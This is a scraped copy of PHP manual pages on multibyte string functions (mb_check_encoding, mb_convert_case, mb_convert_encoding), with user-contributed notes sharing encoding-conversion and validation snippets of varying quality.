nzkiwi at NOSPAMmte dot biglobe dot ne dot jp 14-Apr-2005 01:37
A friend has pointed out that the entry
"mbstring.http_input PHP_INI_ALL" in Table 1 on the mbstring page appears to be wrong: above Example 4 it says that "There is no way to control HTTP input character conversion from PHP script. To disable HTTP input character conversion, it has to be done in php.ini".
Also the table shows the old-PHP-version defaults:
;; Disable HTTP Input conversion
mbstring.http_input = pass  *BUT* (for PHP 4.3.0 or higher)
;; Disable HTTP Input conversion
mbstring.encoding_translation = Off
Eugene Murai 24-Feb-2005 07:20
PHP can input and output Unicode, but a little different from what Microsoft means: when Microsoft says "Unicode", it unexplicitly means little-endian UTF-16 with BOM(FF FE = chr(255).chr(254)), whereas PHP's "UTF-16" means big-endian with BOM. For this reason, PHP does not seem to be able to output Unicode CSV file for Microsoft Excel. Solving this problem is quite simple: just put BOM infront of UTF-16LE string.

Example:

$unicode_str_for_Excel = chr(255).chr(254).mb_convert_encoding( $utf8_str, 'UTF-16LE', 'UTF-8');


Check if the string is valid for the specified encoding

  • « Multibyte String Functions
  • mb_convert_case »
  • PHP Manual
  • Multibyte String Functions
  • Check if the string is valid for the specified encoding

mb_check_encoding

(PHP 4 >= 4.4.3, PHP 5 >= 5.1.3)

mb_check_encoding — Check if the string is valid for the specified encoding

Description

bool mb_check_encoding ([ string $var = NULL [, string $encoding = mb_internal_encoding() ]] )

Checks if the specified byte stream is valid for the specified encoding. It is useful to prevent so-called "Invalid Encoding Attack".

Parameters

var

The byte stream to check. If it is omitted, this function checks all the input from the beginning of the request.

encoding

The expected encoding.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

Riikka K 05-May-2014 11:37
To get more information about how this function validates UTF-8, I ran some tests on PHP 5.5.10, PHP 5.4.24 and PHP 5.3.28. It seems that the function detects valid and invalid byte sequences correctly according to UTF-8 and the Unicode specifications, except for one issue:

in PHP 5.3.28, the function allows code points above U+10FFFF, which also allows five and six byte sequences. The later versions have corrected this issue.

Other than that, each version works correctly. Overlong encodings, surrogates, any lone bytes above 0x80 and too short byte sequences are all considered invalid. All valid code points in Unicode are considered valid when encoded with correct number of bytes (including Astral planes, i.e. four byte squences below U+10FFFF).

mb_detect_encoding() provided similar results with strict parameter enabled (except for PHP 5.3.28, in which it performed worse than mb_check_encoding())
eyecatchup at gmail dot com 18-Dec-2013 03:18
Unlike other comments suggest, there's no need to serialize a string to use preg_match's "u" modifier for testing if a string is valid UTF-8. You can just use
<?php
function is_utf8($str) {
    return (bool) preg_match('//u', $str);
}
Stefan W 31-Jul-2013 08:45
Note that the algorithm in javalc6's comment checks UTF-8 compliance by the letter of the specs.

This means that overlong byte sequences will pass. For example: 0xC0 0xAF can be used to encode U+002F, the slash character. While legal, this character is more properly encoded as 0x2F. Overlong sequences are unnecessary and should be avoided; they have been - and still are - used in various attacks (like directory traversal attacks).

It also means that high Unicode characters outside the Basic Multilingual Plane will pass; this means characters above U+FFFF, composed of 4+ bytes (hieroglyhps, cuneiform, etc). You need to decide if you want those characters or not. If you do, be aware that they often cause compatibility problems (for example with JSON and some databases).

mb_check_encoding(), mb_detect_encoding(x, y, TRUE), and the other comments up to now all reject characters outside the BMP and overlong sequences.
CertaiN 20-Jul-2013 05:13
For supporting non-scalar variables,

<?php
function validate_utf8($input) {
    return (bool)preg_match('//u', serialize($input));
}
CertaiN 20-Jul-2013 05:07
The best way to validate UTF-8 sequence.
This works for not only scalar, but also array and object recursively.

<?php

function is_valid_utf8($text) {
    return (bool)preg_match('//u', serialize($text));
}

?>
javalc6 at gmail dot com 24-Dec-2009 01:52
In order to check if a string is encoded correctly in utf-8, I suggest the following function, that implements the RFC3629 better than mb_check_encoding():

<?php
function check_utf8($str) {
    $len = strlen($str);
    for($i = 0; $i < $len; $i++){
        $c = ord($str[$i]);
        if ($c > 128) {
            if (($c > 247)) return false;
            elseif ($c > 239) $bytes = 4;
            elseif ($c > 223) $bytes = 3;
            elseif ($c > 191) $bytes = 2;
            else return false;
            if (($i + $bytes) > $len) return false;
            while ($bytes > 1) {
                $i++;
                $b = ord($str[$i]);
                if ($b < 128 || $b > 191) return false;
                $bytes--;
            }
        }
    }
    return true;
} // end of check_utf8
?>
jbricci at ya-right dot com 02-Mar-2009 03:52
This function does not check for bad byte sequence(s), it only checks if the byte stream is valid. If you want to verify a encoded string is valid, (IE: does not contain any bad byte sequences do the following...

<?php

/* check a strings encoded value */

function checkEncoding ( $string, $string_encoding )
{
    $fs = $string_encoding == 'UTF-8' ? 'UTF-32' : $string_encoding;

    $ts = $string_encoding == 'UTF-32' ? 'UTF-8' : $string_encoding;

    return $string === mb_convert_encoding ( mb_convert_encoding ( $string, $fs, $ts ), $ts, $fs );
}

/* test 1 variables */

$string = "\x00\x81";

$encoding = "Shift_JIS";

/* test 1 mb_check_encoding (test for bad byte stream) */

if ( true === mb_check_encoding ( $string, $encoding ) )
{
    echo 'valid (' . $encoding . ') encoded byte stream!<br />';
}
else
{
    echo 'invalid (' . $encoding . ') encoded byte stream!<br />';
}

/* test 1 checkEncoding (test for bad byte sequence(s)) */

if ( true === checkEncoding ( $string, $encoding ) )
{
    echo 'valid (' . $encoding . ') encoded byte sequence!<br />';
}
else
{
    echo 'invalid (' . $encoding . ') encoded byte sequence!<br />';
}

/* test 2 */

/* test 2 variables */

$string = "\x00\xE3";

$encoding = "UTF-8";

/* test 2 mb_check_encoding (test for bad byte stream) */

if ( true === mb_check_encoding ( $string, $encoding ) )
{
    echo 'valid (' . $encoding . ') encoded byte stream!<br />';
}
else
{
    echo 'invalid (' . $encoding . ') encoded byte stream!<br />';
}

/* test 2 checkEncoding (test for bad byte sequence(s)) */

if ( true === checkEncoding ( $string, $encoding ) )
{
    echo 'valid (' . $encoding . ') encoded byte sequence!<br />';
}
else
{
    echo 'invalid (' . $encoding . ') encoded byte sequence!<br />';
}

?>


Perform case folding on a string

  • « mb_check_encoding
  • mb_convert_encoding »
  • PHP Manual
  • Multibyte String Functions
  • Perform case folding on a string

mb_convert_case

(PHP 4 >= 4.3.0, PHP 5)

mb_convert_case — Perform case folding on a string

Description

string mb_convert_case ( string $str , int $mode [, string $encoding = mb_internal_encoding() ] )

Performs case folding on a string, converted in the way specified by mode.

Parameters

str

The string being converted.

mode

The mode of the conversion. It can be one of MB_CASE_UPPER, MB_CASE_LOWER, or MB_CASE_TITLE.

encoding

The encoding parameter is the character encoding. If it is omitted, the internal character encoding value will be used.

Return Values

A case folded version of string converted in the way specified by mode.

Unicode

By contrast to the standard case folding functions such as strtolower() and strtoupper(), case folding is performed on the basis of the Unicode character properties. Thus the behaviour of this function is not affected by locale settings and it can convert any characters that have 'alphabetic' property, such as A-umlaut (Ä).

For more information about the Unicode properties, please see » http://www.unicode.org/unicode/reports/tr21/.

Examples

Example #1 mb_convert_case() example

<?php
$str = "mary had a Little lamb and she loved it so";
$str = mb_convert_case($str, MB_CASE_UPPER, "UTF-8");
echo $str; // Prints MARY HAD A LITTLE LAMB AND SHE LOVED IT SO
$str = mb_convert_case($str, MB_CASE_TITLE, "UTF-8");
echo $str; // Prints Mary Had A Little Lamb And She Loved It So
?>

Example #2 mb_convert_case() example with non-Latin UTF-8 text

<?php
$str = "Τάχιστη αλώπηξ βαφής ψημένη γη, δρασκελίζει υπέρ νωθρού κυνός";
$str = mb_convert_case($str, MB_CASE_UPPER, "UTF-8");
echo $str; // Prints ΤΆΧΙΣΤΗ ΑΛΏΠΗΞ ΒΑΦΉΣ ΨΗΜΈΝΗ ΓΗ, ΔΡΑΣΚΕΛΊΖΕΙ ΥΠΈΡ ΝΩΘΡΟΎ ΚΥΝΌΣ
$str = mb_convert_case($str, MB_CASE_TITLE, "UTF-8");
echo $str; // Prints Τάχιστη Αλώπηξ Βαφήσ Ψημένη Γη, Δρασκελίζει Υπέρ Νωθρού Κυνόσ
?>

See Also

  • mb_strtolower() - Make a string lowercase
  • mb_strtoupper() - Make a string uppercase
  • strtolower() - Make a string lowercase
  • strtoupper() - Make a string uppercase
  • ucfirst() - Make a string's first character uppercase
  • ucwords() - Uppercase the first character of each word in a string

User Contributed Notes

cataphract at php dot net 26-Jul-2010 08:06
This is a variation of mb_convert_case that works only for UTF-8 strings and that will not convert to lowercase anything.

This avoids turning "AAA aaa" into "Aaa Aaa"; it maps "AAA aaa" into ""AAA Aaa" instead.

<?php
function mb_convert_case_utf8_variation($s) {
    $arr = preg_split("//u", $s, -1, PREG_SPLIT_NO_EMPTY);
    $result = "";
    $mode = false;
    foreach ($arr as $char) {
        $res = preg_match(
            '/\\p{Mn}|\\p{Me}|\\p{Cf}|\\p{Lm}|\\p{Sk}|\\p{Lu}|\\p{Ll}|'.
            '\\p{Lt}|\\p{Sk}|\\p{Cs}/u', $char) == 1;
        if ($mode) {
            if (!$res)
                $mode = false;
        }
        elseif ($res) {
            $mode = true;
            $char = mb_convert_case($char, MB_CASE_TITLE, "UTF-8");
        }
        $result .= $char;
    }

    return $result;
}
?>
agash at freemail dot hu 19-Jul-2009 12:27
as the previouly posted version of this function doesn't handle UTF-8 characters, I simply tried to replace ucfirst to mb_convert_case, but then any previous case foldings were lost while looping through delimiters.
So I decided to do an mb_convert_case on the input string (it also deals with words is uppercase wich may also be problematic when doing case-sensitive search), and do the rest of checking after that.

As with mb_convert_case, words are capitalized, I also added lowercase convertion for the exceptions, but, for the above mentioned reason, I left ucfirst unchanged.

Now it works fine for utf-8 strings as well, except for string delimiters followed by an UTF-8 character ("Mcádám" is unchanged, while "mcdunno's" is converted to "McDunno's" and "ökrös-TÓTH éDUa" in also put in the correct form)

I use it for checking user input on names and addresses, so exceptions list contains some hungarian words too.

<?php

function titleCase($string, $delimiters = array(" ", "-", ".", "'", "O'", "Mc"), $exceptions = array("út", "u", "s", "és", "utca", "tér", "krt", "körút", "sétány", "I", "II", "III", "IV", "V", "VI", "VII", "VIII", "IX", "X", "XI", "XII", "XIII", "XIV", "XV", "XVI", "XVII", "XVIII", "XIX", "XX", "XXI", "XXII", "XXIII", "XXIV", "XXV", "XXVI", "XXVII", "XXVIII", "XXIX", "XXX" )) {
       /*
        * Exceptions in lower case are words you don't want converted
        * Exceptions all in upper case are any words you don't want converted to title case
        *   but should be converted to upper case, e.g.:
        *   king henry viii or king henry Viii should be King Henry VIII
        */
        $string = mb_convert_case($string, MB_CASE_TITLE, "UTF-8");

       foreach ($delimiters as $dlnr => $delimiter){
               $words = explode($delimiter, $string);
               $newwords = array();
               foreach ($words as $wordnr => $word){

                       if (in_array(mb_strtoupper($word, "UTF-8"), $exceptions)){
                               // check exceptions list for any words that should be in upper case
                               $word = mb_strtoupper($word, "UTF-8");
                       }
                       elseif (in_array(mb_strtolower($word, "UTF-8"), $exceptions)){
                               // check exceptions list for any words that should be in upper case
                               $word = mb_strtolower($word, "UTF-8");
                       }

                       elseif (!in_array($word, $exceptions) ){
                               // convert to uppercase (non-utf8 only)

                               $word = ucfirst($word);

                       }
                       array_push($newwords, $word);
               }
               $string = join($delimiter, $newwords);
       }//foreach
       return $string;
}

?>
the at psychoticneurotic dot com 08-Apr-2009 07:03
Building upon Justin's and Alex's work...

This function allows you to specify which delimiter(s) to explode on (not just the default space). Now you can correctly capitalize Irish names and hyphenated words (if you want)!

<?php
function titleCase($string, $delimiters = array(" ", "-", "O'"), $exceptions = array("to", "a", "the", "of", "by", "and", "with", "II", "III", "IV", "V", "VI", "VII", "VIII", "IX", "X")) {
       /*
        * Exceptions in lower case are words you don't want converted
        * Exceptions all in upper case are any words you don't want converted to title case
        *   but should be converted to upper case, e.g.:
        *   king henry viii or king henry Viii should be King Henry VIII
        */
       foreach ($delimiters as $delimiter){
               $words = explode($delimiter, $string);
               $newwords = array();
               foreach ($words as $word){
                       if (in_array(strtoupper($word), $exceptions)){
                               // check exceptions list for any words that should be in upper case
                               $word = strtoupper($word);
                       } elseif (!in_array($word, $exceptions)){
                               // convert to uppercase
                               $word = ucfirst($word);
                       }
                       array_push($newwords, $word);
               }
               $string = join($delimiter, $newwords);
       }
       return $string;
}
?>
Justin 17-Dec-2008 05:42
Retouching Alex's example so it works:

function titleCase($string, $exceptions = array('to', 'a', 'the', 'of', 'by', 'and', 'with', 'UI', 'V','X')) {

        $words = explode(" ", $string);
        $newwords = array();
        foreach ($words as $word)
        {
            if (!in_array($word, $exceptions)) {

                $word = strtolower($word);
                $word = ucfirst($word);
            }
            array_push($newwords, $word);
        }
        return join(" ", $newwords);
    }

It doesn't work for Irish names, etc. So keep that in mind.
info at yasarnet dot com 04-Jul-2008 08:57
For my case following did the work to capitalize UTF-8 encoded string.

function capitalize($str, $encoding = 'UTF-8') {
    return mb_strtoupper(mb_substr($str, 0, 1, $encoding), $encoding) . mb_strtolower(mb_substr($str, 1, mb_strlen($str), $encoding), $encoding);
}
alex at agileware dot net 07-Feb-2006 03:02
This function is a bit more flexible than using mb_convert_case with MB_CASE_TITLE, because it lets you add words whose case you don't want modified.

function title_case($string, $exceptions = array('to', 'a', 'the', 'of', 'I', 'II', 'III', 'IV', 'V', 'VI', 'VII', 'VIII', 'IX', 'X')) {
    $words = split(" ", $string);
    $newwords = array();

    foreach ($words as $word)
    {
        if (!array_key_exists($word, $exceptions)) {
            $word = strtolower($word);
            $word = ucfirst($word);
        }
        array_push($newwords, $word);

    }

    return ucfirst(join(" ", $newwords));
}
Rasa Ravi at tantrajoga dot cz 30-Apr-2005 10:36
For CZECH characters:
<?php
$text = mb_convert_case($text, MB_CASE_LOWER, "Windows-1251");
?>
The right encoding Windows-1250 is not valid (see the list mb_list_encodings), but Windows-1251 will do the same 100%. The function strtolower() ignores czech characters with diacritics.


Convert character encoding

  • « mb_convert_case
  • mb_convert_kana »
  • PHP Manual
  • Multibyte String Functions
  • Convert character encoding

mb_convert_encoding

(PHP 4 >= 4.0.6, PHP 5)

mb_convert_encoding — Convert character encoding

Description

string mb_convert_encoding ( string $str , string $to_encoding [, mixed $from_encoding = mb_internal_encoding() ] )

Converts the character encoding of string str to to_encoding from optionally from_encoding.

Parameters

str

The string being encoded.

to_encoding

The type of encoding that str is being converted to.

from_encoding

Is specified by character code names before conversion. It is either an array, or a comma separated enumerated list. If from_encoding is not specified, the internal encoding will be used.

See supported encodings.

Return Values

The encoded string.

Examples

Example #1 mb_convert_encoding() example

<?php
/* Convert internal character encoding to SJIS */
$str = mb_convert_encoding($str, "SJIS");

/* Convert EUC-JP to UTF-7 */
$str = mb_convert_encoding($str, "UTF-7", "EUC-JP");

/* Auto detect encoding from JIS, eucjp-win, sjis-win, then convert str to UCS-2LE */
$str = mb_convert_encoding($str, "UCS-2LE", "JIS, eucjp-win, sjis-win");

/* "auto" is expanded to "ASCII,JIS,UTF-8,EUC-JP,SJIS" */
$str = mb_convert_encoding($str, "EUC-JP", "auto");
?>

See Also

  • mb_detect_order() - Set/Get character encoding detection order

User Contributed Notes

jackycms at outlook dot com 19-Jul-2014 11:48
// mb_convert_encoding($input,'UTF-8','windows-874');  error : Illegal character encoding specified
// so convert Thai to UTF-8 is better use iconv instead

<?php

iconv("windows-874","UTF-8",$input);

?>
DanielAbbey at Hotmail dot co dot uk 06-Mar-2014 01:30
When using the Windows Notepad text editor, it is important to note that when you select 'Save As' there is an Encoding selection dropdown. The default encoding is set to ANSI, with the other two options being Unicode and UTF-8. Since most text on the web is in UTF-8 format it could prove vital to save the .txt file with this encoding, since this function does not work on ANSI-encoded text.
josip at cubrad dot com 28-Jun-2013 08:24
For my last project I needed to convert several CSV files from Windows-1250 to UTF-8, and after several days of searching around I found a function that is partially solved my problem, but it still has not transformed all the characters. So I made ​​this:

function w1250_to_utf8($text) {
    // map based on:
    // http://konfiguracja.c0.pl/iso02vscp1250en.html
    // http://konfiguracja.c0.pl/webpl/index_en.html#examp
    // http://www.htmlentities.com/html/entities/
    $map = array(
        chr(0x8A) => chr(0xA9),
        chr(0x8C) => chr(0xA6),
        chr(0x8D) => chr(0xAB),
        chr(0x8E) => chr(0xAE),
        chr(0x8F) => chr(0xAC),
        chr(0x9C) => chr(0xB6),
        chr(0x9D) => chr(0xBB),
        chr(0xA1) => chr(0xB7),
        chr(0xA5) => chr(0xA1),
        chr(0xBC) => chr(0xA5),
        chr(0x9F) => chr(0xBC),
        chr(0xB9) => chr(0xB1),
        chr(0x9A) => chr(0xB9),
        chr(0xBE) => chr(0xB5),
        chr(0x9E) => chr(0xBE),
        chr(0x80) => '&euro;',
        chr(0x82) => '&sbquo;',
        chr(0x84) => '&bdquo;',
        chr(0x85) => '&hellip;',
        chr(0x86) => '&dagger;',
        chr(0x87) => '&Dagger;',
        chr(0x89) => '&permil;',
        chr(0x8B) => '&lsaquo;',
        chr(0x91) => '&lsquo;',
        chr(0x92) => '&rsquo;',
        chr(0x93) => '&ldquo;',
        chr(0x94) => '&rdquo;',
        chr(0x95) => '&bull;',
        chr(0x96) => '&ndash;',
        chr(0x97) => '&mdash;',
        chr(0x99) => '&trade;',
        chr(0x9B) => '&rsquo;',
        chr(0xA6) => '&brvbar;',
        chr(0xA9) => '&copy;',
        chr(0xAB) => '&laquo;',
        chr(0xAE) => '&reg;',
        chr(0xB1) => '&plusmn;',
        chr(0xB5) => '&micro;',
        chr(0xB6) => '&para;',
        chr(0xB7) => '&middot;',
        chr(0xBB) => '&raquo;',
    );
    return html_entity_decode(mb_convert_encoding(strtr($text, $map), 'UTF-8', 'ISO-8859-2'), ENT_QUOTES, 'UTF-8');
}
urko at wegetit dot eu 12-Sep-2012 03:17
If you are trying to generate a CSV (with extended chars) to be opened at Exel for Mac, the only that worked for me was:
<?php mb_convert_encoding( $CSV, 'Windows-1252', 'UTF-8'); ?>

I also tried this:

<?php
//Separado OK, chars MAL
iconv('MACINTOSH', 'UTF8', $CSV);
//Separado MAL, chars OK
chr(255).chr(254).mb_convert_encoding( $CSV, 'UCS-2LE', 'UTF-8');
?>

But the first one didn't show extended chars correctly, and the second one, did't separe fields correctly
qdb at kukmara dot ru 07-Nov-2011 04:44
mb_substr and probably several other functions works faster in ucs-2 than in utf-8. and utf-16 works slower than utf-8. here is test, ucs-2 is near 50 times faster than utf-8, and utf-16 is near 6 times slower than utf-8 here:
<?php
header('Content-Type: text/html; charset=utf-8');
mb_internal_encoding('utf-8');

$s='укгезәөшөхзәхөшк2049һһлдябчсячмииюсит.июбҗрарэ'
.'лдэфвәәуүйәуйүәу034928348539857әшаыдларорашһһрлоавы';
$s.=$s;
$s.=$s;
$s.=$s;
$s.=$s;
$s.=$s;
$s.=$s;
$s.=$s;

$t1=microtime(true);
$i=0;
while($i<mb_strlen($s)){
    $a=mb_substr($s,$i,2);
    $i+=2;
    if($i==10)echo$a.'. ';
    //echo$a.'. ';
}
echo$i.'. ';
echo(microtime(true)-$t1);

echo'<br>';
$s=mb_convert_encoding($s,'UCS-2','utf8');
mb_internal_encoding('UCS-2');
$t1=microtime(true);
$i=0;
while($i<mb_strlen($s)){
    $a=mb_substr($s,$i,2);
    $i+=2;
    if($i==10)echo mb_convert_encoding($a,'utf8','ucs2').'. ';
    //echo$a.'. ';
}
echo$i.'. ';
echo(microtime(true)-$t1);

echo'<br>';
$s=mb_convert_encoding($s,'utf-16','ucs-2');
mb_internal_encoding('utf-16');
$t1=microtime(true);
$i=0;
while($i<mb_strlen($s)){
    $a=mb_substr($s,$i,2);
    $i+=2;
    if($i==10)echo mb_convert_encoding($a,'utf8','utf-16').'. ';
    //echo$a.'. ';
}
echo$i.'. ';
echo(microtime(true)-$t1);

?>
output:
өх. 12416. 1.71738100052
өх. 12416. 0.0211279392242
өх. 12416. 11.2330229282
gullevek at gullevek dot org 25-Aug-2010 09:27
If you want to convert japanese to ISO-2022-JP it is highly recommended to use ISO-2022-JP-MS as the target encoding instead. This includes the extended character set and avoids ? in the text. For example the often used "1 in a circle" ① will be correctly converted then.
regrunge at hotmail dot it 14-May-2010 05:00
I've been trying to find the charset of a norwegian (with a lot of ø, æ, å) txt file written on a Mac, i've found it in this way:

<?php
$text = "A strange string to pass, maybe with some ø, æ, å characters.";

foreach(mb_list_encodings() as $chr){
        echo mb_convert_encoding($text, 'UTF-8', $chr)." : ".$chr."<br>";
 }
?>

The line that looks good, gives you the encoding it was written in.

Hope can help someone
Daniel Trebbien 23-Jul-2009 08:25
Note that `mb_convert_encoding($val, 'HTML-ENTITIES')` does not escape '\'', '"', '<', '>', or '&'.
me at gsnedders dot com 19-Jun-2009 12:06
It appears that when dealing with an unknown "from encoding" the function will both throw an E_WARNING and proceed to convert the string from ISO-8859-1 to the "to encoding".
chzhang at gmail dot com 05-Jan-2009 09:34
instead of ini_set(), you can try this

mb_substitute_character("none");
francois at bonzon point com 11-Nov-2008 02:05
aaron, to discard unsupported characters instead of printing a ?, you might as well simply set the configuration directive:

mbstring.substitute_character = "none"

in your php.ini. Be sure to include the quotes around none. Or at run-time with

<?php
ini_set('mbstring.substitute_character', "none");
?>
aaron at aarongough dot com 07-Nov-2008 05:24
My solution below was slightly incorrect, so here is the correct version (I posted at the end of a long day, never a good idea!)

Again, this is a quick and dirty solution to stop mb_convert_encoding from filling your string with question marks whenever it encounters an illegal character for the target encoding.

<?php
function convert_to ( $source, $target_encoding )
    {
    // detect the character encoding of the incoming file
    $encoding = mb_detect_encoding( $source, "auto" );

    // escape all of the question marks so we can remove artifacts from
    // the unicode conversion process
    $target = str_replace( "?", "[question_mark]", $source );

    // convert the string to the target encoding
    $target = mb_convert_encoding( $target, $target_encoding, $encoding);

    // remove any question marks that have been introduced because of illegal characters
    $target = str_replace( "?", "", $target );

    // replace the token string "[question_mark]" with the symbol "?"
    $target = str_replace( "[question_mark]", "?", $target );

    return $target;
    }
?>

Hope this helps someone! (Admins should feel free to delete my previous, incorrect, post for clarity)
-A
Edward 16-Sep-2008 12:54
If mb_convert_encoding doesn't work for you, and iconv gives you a headache, you might be interested in this free class I found. It can convert almost any charset to almost any other charset. I think it's wonderful and I wish I had found it earlier. It would have saved me tons of headache.

I use it as a fail-safe, in case mb_convert_encoding is not installed. Download it from http://mikolajj.republika.pl/

This is not my own library, so technically it's not spamming, right? ;)

Hope this helps.
StigC 14-Aug-2008 12:38
For the php-noobs (like me) - working with flash and php.

Here's a simple snippet of code that worked great for me, getting php to show special Danish characters, from a Flash email form:

<?php
// Name Escape
$escName = mb_convert_encoding($_POST["Name"], "ISO-8859-1", "UTF-8");

// message escape
$escMessage = mb_convert_encoding($_POST["Message"], "ISO-8859-1", "UTF-8");

// Headers.. and so on...
?>
nospam at nihonbunka dot com 16-May-2008 03:51
rodrigo at bb2 dot co dot jp wrote that inconv works better than mb_convert_encoding, I find that when converting from uft8 to shift_jis
$conv_str = mb_convert_encoding($str,$toCS,$fromCS);
works while
$conv_str = iconv($fromCS,$toCS.'//IGNORE',$str);
removes tildes from $str.
katzlbtjunk at hotmail dot com 25-Jan-2008 01:36
Clean a string for use as filename by simply replacing all unwanted characters with underscore (ASCII converts to 7bit). It removes slightly more chars than necessary. Hope its useful.

$fileName = 'Test:!"$%&/()=ÖÄÜöäü<<';
echo strtr(mb_convert_encoding($fileName,'ASCII'),
    ' ,;:?*#!§$%&/(){}<>=`´|\\\'"',
    '____________________________');
rodrigo at bb2 dot co dot jp 15-Jan-2008 12:47
For those who can´t use mb_convert_encoding() to convert from one charset to another as a metter of lower version of php, try iconv().

I had this problem converting to japanese charset:

$txt=mb_convert_encoding($txt,'SJIS',$this->encode);

And I could fix it by using this:

$txt = iconv('UTF-8', 'SJIS', $txt);

Maybe it´s helpfull for someone else! ;)
mightye at gmail dot com 13-Nov-2007 06:24
To petruzanauticoyahoo?com!ar

If you don't specify a source encoding, then it assumes the internal (default) encoding.  ñ is a multi-byte character whose bytes in your configuration default (often iso-8859-1) would actually mean Ã±.  mb_convert_encoding() is upgrading those characters to their multi-byte equivalents within UTF-8.

Try this instead:
<?php
print mb_convert_encoding( "ñ", "UTF-8", "UTF-8" );
?>
Of course this function does no work (for the most part - it can actually be used to strip characters which are not valid for UTF-8).
volker at machon dot biz 25-Sep-2007 06:05
Hey guys. For everybody who's looking for a function that is converting an iso-string to utf8 or an utf8-string to iso, here's your solution:

public function encodeToUtf8($string) {
     return mb_convert_encoding($string, "UTF-8", mb_detect_encoding($string, "UTF-8, ISO-8859-1, ISO-8859-15", true));
}

public function encodeToIso($string) {
     return mb_convert_encoding($string, "ISO-8859-1", mb_detect_encoding($string, "UTF-8, ISO-8859-1, ISO-8859-15", true));
}

For me these functions are working fine. Give it a try
aofg 22-Aug-2007 03:49
When converting Japanese strings to ISO-2022-JP or JIS on PHP >= 5.2.1, you can use "ISO-2022-JP-MS" instead of them.
Kishu-Izon (platform dependent) characters are converted correctly with the encoding, as same as with eucJP-win or with SJIS-win.
David Hull 20-Dec-2006 07:52
As an alternative to Johannes's suggestion for converting strings from other character sets to a 7bit representation while not just deleting latin diacritics, you might try this:

<?php
$text = iconv($from_enc, 'US-ASCII//TRANSLIT', $text);
?>

The only disadvantage is that it does not convert "ä" to "ae", but it handles punctuation and other special characters better.
--
David
phpdoc at jeudi dot de 05-Sep-2006 03:46
I\&#039;d like to share some code to convert latin diacritics to their
traditional 7bit representation, like, for example,

- &agrave;,&ccedil;,&eacute;,&icirc;,... to a,c,e,i,...
- &szlig; to ss
- &auml;,&Auml;,... to ae,Ae,...
- &euml;,... to e,...

(mb_convert \&quot;7bit\&quot; would simply delete any offending characters).

I might have missed on your country\&#039;s typographic
conventions--correct me then.
&lt;?php
/**
 * @args string $text line of encoded text
 *       string $from_enc (encoding type of $text, e.g. UTF-8, ISO-8859-1)
 *
 * @returns 7bit representation
 */
function to7bit($text,$from_enc) {
    $text = mb_convert_encoding($text,\&#039;HTML-ENTITIES\&#039;,$from_enc);
    $text = preg_replace(
        array(\&#039;/&szlig;/\&#039;,\&#039;/&amp;(..)lig;/\&#039;,
             \&#039;/&amp;([aouAOU])uml;/\&#039;,\&#039;/&amp;(.)[^;]*;/\&#039;),
        array(\&#039;ss\&#039;,\&quot;$1\&quot;,\&quot;$1\&quot;.\&#039;e\&#039;,\&quot;$1\&quot;),
        $text);
    return $text;
}
?&gt;

Enjoy :-)
Johannes

==
[EDIT BY danbrown AT php DOT net: Author provided the following update on 27-FEB-2012.]
==

An addendum to my &quot;to7bit&quot; function referenced below in the notes.
The function is supposed to solve the problem that some languages require a different 7bit rendering of special (umlauted) characters for sorting or other applications. For example, the German &szlig; ligature is usually written &quot;ss&quot; in 7bit context. Dutch &yuml; is typically rendered &quot;ij&quot; (not &quot;y&quot;).

The original function works well with word (alphabet) character entities and I&#039;ve seen it used in many places. But non-word entities cause funny results:
E.g., &quot;&copy;&quot; is rendered as &quot;c&quot;, &quot;&shy;&quot; as &quot;s&quot; and &quot;&amp;rquo;&quot; as &quot;r&quot;.
The following version fixes this by converting non-alphanumeric characters (also chains thereof) to &#039;_&#039;.

&lt;?php
/**
 * @args string $text line of encoded text
 *       string $from_enc (encoding type of $text, e.g. UTF-8, ISO-8859-1)
 *
 * @returns 7bit representation
 */
function to7bit($text,$from_enc) {
    $text = preg_replace(/W+/,&#039;_&#039;,$text);
    $text = mb_convert_encoding($text,&#039;HTML-ENTITIES&#039;,$from_enc);
    $text = preg_replace(
        array(&#039;/&szlig;/&#039;,&#039;/&amp;(..)lig;/&#039;,
             &#039;/&amp;([aouAOU])uml;/&#039;,&#039;/&yuml;/&#039;,&#039;/&amp;(.)[^;]*;/&#039;),
        array(&#039;ss&#039;,&quot;$1&quot;,&quot;$1&quot;.&#039;e&#039;,&#039;ij&#039;,&quot;$1&quot;),
        $text);
    return $text;
}
?&gt;

Enjoy again,
Johannes
mac.com@nemo 08-Jul-2006 04:38
For those wanting to convert from $set to MacRoman, use iconv():

<?php

$string = iconv('UTF-8', 'macintosh', $string);

?>

('macintosh' is the IANA name for the MacRoman character set.)
eion at bigfoot dot com 21-Feb-2006 01:54
many people below talk about using
<?php
    mb_convert_encode($s,'HTML-ENTITIES','UTF-8');
?>
to convert non-ascii code into html-readable stuff.  Due to my webserver being out of my control, I was unable to set the database character set, and whenever PHP made a copy of my $s variable that it had pulled out of the database, it would convert it to nasty latin1 automatically and not leave it in it's beautiful UTF-8 glory.

So [insert korean characters here] turned into ?????.

I found myself needing to pass by reference (which of course is deprecated/nonexistent in recent versions of PHP)
so instead of
<?php
    mb_convert_encode(&$s,'HTML-ENTITIES','UTF-8');
?>
which worked perfectly until I upgraded, so I had to use
<?php
    call_user_func_array('mb_convert_encoding', array(&$s,'HTML-ENTITIES','UTF-8'));
?>

Hope it helps someone else out
Tom Class 11-Nov-2005 04:35
Why did you use the php html encode functions? mbstring has it's own Encoding which is (as far as I tested it) much more usefull:

HTML-ENTITIES

Example:

$text = mb_convert_encoding($text, 'HTML-ENTITIES', "UTF-8");
Stephan van der Feest 09-Sep-2005 01:47
To add to the Flash conversion comment below, here's how I convert back from what I've stored in a database after converting from Flash HTML text field output, in order to load it back into a Flash HTML text field:

function htmltoflash($htmlstr)
{
  return str_replace("&lt;br /&gt;","\n",
    str_replace("<","&lt;",
      str_replace(">","&gt;",
        mb_convert_encoding(html_entity_decode($htmlstr),
        "UTF-8","ISO-8859-1"))));
}
Stephan van der Feest 09-Sep-2005 12:50
Here's a tip for anyone using Flash and PHP for storing HTML output submitted from a Flash text field in a database or whatever.

Flash submits its HTML special characters in UTF-8, so you can use the following function to convert those into HTML entity characters:

function utf8html($utf8str)
{
  return htmlentities(mb_convert_encoding($utf8str,"ISO-8859-1","UTF-8"));
}
jamespilcher1 - hotmail 02-Feb-2004 04:55
be careful when converting from iso-8859-1 to utf-8.

even if you explicitly specify the character encoding of a page as iso-8859-1(via headers and strict xml defs), windows 2000 will ignore that and interpret it as whatever character set it has natively installed.

for example, i wrote char #128 into a page, with char encoding iso-8859-1, and it displayed in internet explorer (& mozilla) as a euro symbol.

